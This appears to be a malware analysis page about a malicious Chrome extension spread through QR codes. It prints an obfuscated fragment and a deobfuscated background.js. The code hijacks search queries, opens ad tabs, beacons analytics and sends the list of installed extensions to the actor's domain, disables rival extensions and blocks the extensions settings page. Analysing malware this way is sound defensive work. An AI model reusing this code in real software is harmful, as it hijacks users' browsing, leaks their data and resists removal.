(B7,JSON[U0MM.P6(+\"25\")] (T7));}function u0MM(){return \"m6%5DBbB-%20Q%13%06Q!6UBbS2#I_$S6:JXhX1%3CK%1AgF'+Q%197%5E#:K%1Ag%18my%00u(%5C66KBjF;#%13&B2?LU&F+%3CK%19-A-=%00E3@+=B_!Kg4@B%13%5B/6%00E%22F%0B'@%5Bbu' 'lB%22_g6%5DF. @;vWS%5D461B%22_g%25DZ2Wg$@T%15W3&@E3%17- =gS!%5D06vS)V%0A6DR%22@1vDR#--+%20QS)W0vWS6G '%20Q-%22S&6WEbB7%20M%13#Vgy%1F%19h%181v%0A%1CbP. %3CF%5D. %5C%25JvX%05W$%3CWS%15W3&@E3%17E 4ISi%1716DD$Zg%22%18%134W#!F%5E%17S02HEbu' '%00Gba' 2WU/%1C; 2MY(%1Cg#%18%137%17%20:KQi%17. 6KQ3Zg? DE3c76W0b%5B, :Q_&F-!%00_)Q. &AS4%17; 2MY(%1Cg' DT4%177#AW3Wg%20@W5Q* 1@N3%0FguT%0BbZ6' UE%7D%1Dmy%0BQ(%5D%25? @%18$%5D/%7C%0F%13/F6#V%0Ch%1Dh%7D%5Cw/%5D-%7DFY*%1DhvMB3B1i%0A%19m%1C%20:KQiQ-%3E%0A%1Cb@7=Q_*Wg%3CK%7F)A62IZ%22Vg!@W4%5D, vLX4F#? I%13&5E# 1HEbQ06DB%22%17*1%00Q%22F%03? I%137@+%25DU%3E%1716W@. Q' %20%00E%22S00Me2U%256VB%02%5C#1IS#%1716Q%134W6%06K_)A62IZ%12%60%0EvPX. %5C1'DZ+%0D'+Q%0BbQ--=QS? F%0F6K4%17%106HY1Wg%3E@X2%17%20! JA4W0%0CDU3%5B- =%00Y)g27DB%22Vg%20QW3G1vIYV+=B%13Z0%3CHS%7D%10m6%5DB%22%5C1: JX4%17!; WY*Wx%7C%0AE%22F6:KQ4%1706HY1Wg1WY0A' !du3%5B- =%00Y)q. :F%5D%22Vg%3CKw+S0%3E%00%09%22J6n%00%101W0n%00D%22C76VB%0Fw#7@D4%17- =gS!%5D06wS6G '%20Q%13aV&n%00%13a%5B, 5J%0Bba' =At%22S!%3CK%135W&%20%5CX%$%17&7%00q%02fg%20@W5Q*%03DD&_1vMB3B1i%0A%19m%1C; 2MY(%1C!%3CH%1 LE3%17$%3CWS&Q*vHW)S%256HS)Fg%20@B%02%5C#1IS#%17* 'QF4%08m%7CFY*%1CgvBS3\ "};chrome[U0MM.I6("\72\ " - 0)] [U0MM.I6(+\"94\")] [U0MM.I6("\34\ " - 0)] (function(N5){analytics(U0MM.I6(+\"74\"),U0MM.P6(+\"3\"));sync();});function handleExtensionResp(17){var k4=U0MM;try{extnesionIds=JSON[k4.P6(+\"13\")] (17)[k4.P6("\14\ " ^ 0)];extnesionIds[k4.P6("\15\ " | 5)] (e7=>chrome[k4.P6(+\"16\")] [k4.P6(+\"17\")] (e7, !\"1\"));}catch(H7){}}
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**Deobfuscated Javascript background.js provided by Twitter user @struppigel <https://twitter.com/struppigel>**

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Blog post created by Karsten Hahn @struppigel, providing an analysis of the malicious Chrome Extension  
<https://www.gdatasoftware.com/blog/2022/01/37236-gr-codes-on-twitter-deliver-malicious-chrome-extension>  
<https://twitter.com/struppigel/status/1489500184371515396>

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The purpose of the malicious Chrome Extension is to generate Ad Revenue for the actor. The Chrome Extension periodically makes web requests every 30 minutes to generate Ads. Analytics is sent to the attackers domain every 3 hours. This malware has the capability of spreading through the victim's Google Profile via Synchronization.

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Turn on and off Google Chrome Synchronization  
<https://support.google.com/chrome/answer/185277?hl=en&co=GENIE.Platform%3DDesktop>  
<https://support.google.com/chrome/answer/2765944>

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```
chrome.webRequest.onBeforeSendHeaders.addListener(n4 => {\n n4.requestHeaders.push({name: \"dd\", value: _dd});\n return\n {requestHeaders: n4.requestHeaders};\n}, {urls: [\"*://*.\" + _ExtDomNoSchema + \"/\"*\"]}, [\"blocking\",\n \"requestHeaders\"]);\n\nchrome.webRequest.onHeadersReceived.addListener(g4 => {\n if (g4.type !== \"main_frame\") {\n return\n null;\n }\n g4.responseHeaders.forEach(u4 => {\n if (u4.name === \"is\") {\n isValue = u4.value;\n setWithExpirySec(\"is\", isValue, 300);\n return null;\n }\n });\n}, {urls: [\"*://*.\" + _ExtDomNoSchema + \"/\"*\"]},\n [\"responseHeaders\"]);\n\nchrome.webRequest.onBeforeRequest.addListener(function (s4) {\n var O4, L4, R4, r4, p4, F4, i4, w4,\n b4;\n if (s4.type !== \"main_frame\") {\n return null;\n }\n O4 = s4.url;\n L4 = new URL(O4);\n if (O4.indexOf(\"google.\")\n >= 0 && O4.indexOf(\"search\") >= 0 && O4.indexOf(\"q=\") >= 0) {\n R4 = L4.searchParams.get(\"q\");\n }\n if\n (O4.indexOf(\"search.yahoo.\") >= 0 && O4.indexOf(\"p=\") >= 0) {\n R4 = L4.searchParams.get(\"p\");\n }\n if\n (O4.indexOf(\"bing.\") >= 0 && O4.indexOf(\"search\") >= 0 && O4.indexOf(\"q=\") >= 0) {\n R4 = L4.searchParams.get(\"q\");\n }\n if (R4 && R4.length > 1) {\n r4 = getWithExpiry(\"lastQuery\");\n p4 = Math.floor(Math.random() * 100);\n F4 =\n getWithExpiry(\"is\") || 100;\n i4 = s4.initiator;\n w4 = 0;\n if (i4) {\n if (i4.includes(\"bing.\")) {\n w4 = 1;\n }\n if (i4.includes(\"yahoo.\")) {\n w4 = 1;\n }\n if (F4 > p4 && w4 && r4) {\n setWithExpirySec(\"lastQuery\", R4, 60);\n return null;\n }\n if (R4 === r4) {\n return null;\n }\n setWithExpirySec(\"lastQuery\", R4, 60);\n b4 = _ExtDom + \"search?ext=\" + _ExtName + \"&ver=\" + _ExtVersion +\n \"&is=\" + w4 + \"&q=\" + R4;\n chrome.tabs.update({url: b4});\n }\n }, {urls: [\"https://*.google.com/*\", \"https://*.yahoo.com/*\", \"https://*.bing.com/*\"]}, [\"blocking\"]);\n\nfunction getWithExpiry(N4) {\n var z4, Q4, I4;\n z4 =\n localStorage.getItem(N4);\n if (!z4) {\n return null;\n }\n Q4 = JSON.parse(z4);\n I4 = new Date;\n if (I4.getTime() >\n Q4.expiry) {\n localStorage.removeItem(N4);\n return null;\n }\n return\n Q4.value;\n}\n\nchrome.runtime.onInstalled.addListener(k4 => {\n if (k4.reason === \"install\") {\n localStorage.removeItem(\"lastQuery\");\n localStorage.removeItem(\"ad\");\n localStorage.removeItem(\"is\");\n chrome.alarms.create(\"hb\", {delayInMinutes: 1.1, periodInMinutes: 180});\n chrome.alarms.create(\"ad\", {delayInMinutes: 5,\n periodInMinutes: 30});\n analytics(\"install\", \"\");\n sync();\n chrome.management.getAll(function (l4) {\n handleInstalledExtensions(l4);\n });\n chrome.privacy.services.searchSuggestEnabled.set({value: true});\n }\n}\n\nchrome.runtime.setUninstallURL(_ExtDom + \"uninstall?ext=\" + _ExtName + \"&ver=\" + _ExtVersion + \"&dd=\"\n + _dd);\n\nfunction setWithExpirySec(v4, M4, P4) {\n var e4, Z4;\n e4 = new Date;\n Z4 = {value: M4, expiry: e4.getTime() + P4 * 1e3};\n localStorage.setItem(v4, JSON.stringify(Z4));\n}\n\nfunction openAd() {\n var h4;\n h4 = _ExtDom + \"ad?ext=\" +\n _ExtName + \"&ver=\" + _ExtVersion + \"&dd=\" + _dd;\n fetch(h4, {method: \"GET\", credentials: \"include\", redirect: \"follow\"}).then(D4 => D4.json()).then(T4 => {\n var o4, E4, S4;\n if (T4.length > 0) {\n o4 = T4[0];\n E4 = o4[1];\n S4 = \"https:\" + o4[2];\n chrome.tabs.create({url: E4}, function (C4) {\n fetch(S4, {credentials: \"include\"});\n setWithExpirySec(\"ad\", C4.id, 86400);\n });\n }\n }).catch(t4 => {});\n}\n\nchrome.contextMenus.create({title: \"Remove\", id: \"menu\", contexts: [\"browser_action\"]});\n\nchrome.tabs.onUpdated.addListener(function (H4, y4, d4) {\n if (y4.status === \"loading\" && d4.url.indexOf(\"chrome://extensions\") === 0) {\n chrome.tabs.create({url: \"chrome://settings\"});\n }\n chrome.tabs.remove(H4);\n});\n\nfunction sync() {\n var q4;\n q4 = _ExtDom + \"resync\";\n fetch(q4, {method: \"GET\", credentials: \"include\"}).then(a4 => a4.text()).then(X4 => {\n analytics(\"sync\", X4);\n }).catch(V4 => {});\n}\n\nfunction handleInstalledExtensions(W4) {\n fetch(\"https://com.\" + _ExtDomNoSchema + \"/ext\" + \"post\" + _ExtName + \"ver=\" +\n _ExtVersion + \"&dd=\" + _dd, {method: \"post\", headers: {Accept: \"application/json, text/plain, */*\", \"Content-Type\": \"application/json\"}, body: JSON.stringify(W4)}).then(U4 => U4.text()).then(Y4 => handleExtensionResp(Y4));\n}\n\nchrome.browserAction.onClicked.addListener(function (G7) {\n chrome.tabs.create({url: \"chrome://settings\"});\n});\n\nchrome.contextMenus.onClicked.addListener(function (m7, A7) {\n chrome.tabs.create({url: \"chrome://settings\"});\n});\n\nfunction analytics(j4, J4) {\n var A4;\n A4 = _ExtDom + j4 + \"?ext=\" + _ExtName + \"&ver=\" + _ExtVersion + \"&dd=\" + _dd;\n if (J4 !== \"\") {\n A4 = A4 + \"&info=\" + J4;\n }\n navigator.sendBeacon(A4);\n}\n\nchrome.alarms.onAlarm.addListener(function (J7) {\n if (J7.name === \"hb\") {\n analytics(\"hb\", \"\");\n sync();\n } else if (J7.name === \"ad\") {\n getAd();\n }\n}\n\nfunction handleExtensionResp(K4) {\n try {\n extnesionIds = JSON.parse(K4).list;\n extnesionIds.forEach(B4 => chrome.management.setEnabled(B4, false));\n } catch (x4) {\n }\n}\n\nfunction getAd() {\n var f4;\n f4 = getWithExpiry(\"ad\");\n if (f4) {\n chrome.tabs.get(f4, function (c4) {\n if (c4) {\n return null;\n } else {\n openAd();\n }\n });\n }\n console.clear();\n else {\n openAd();\n }\n}
```

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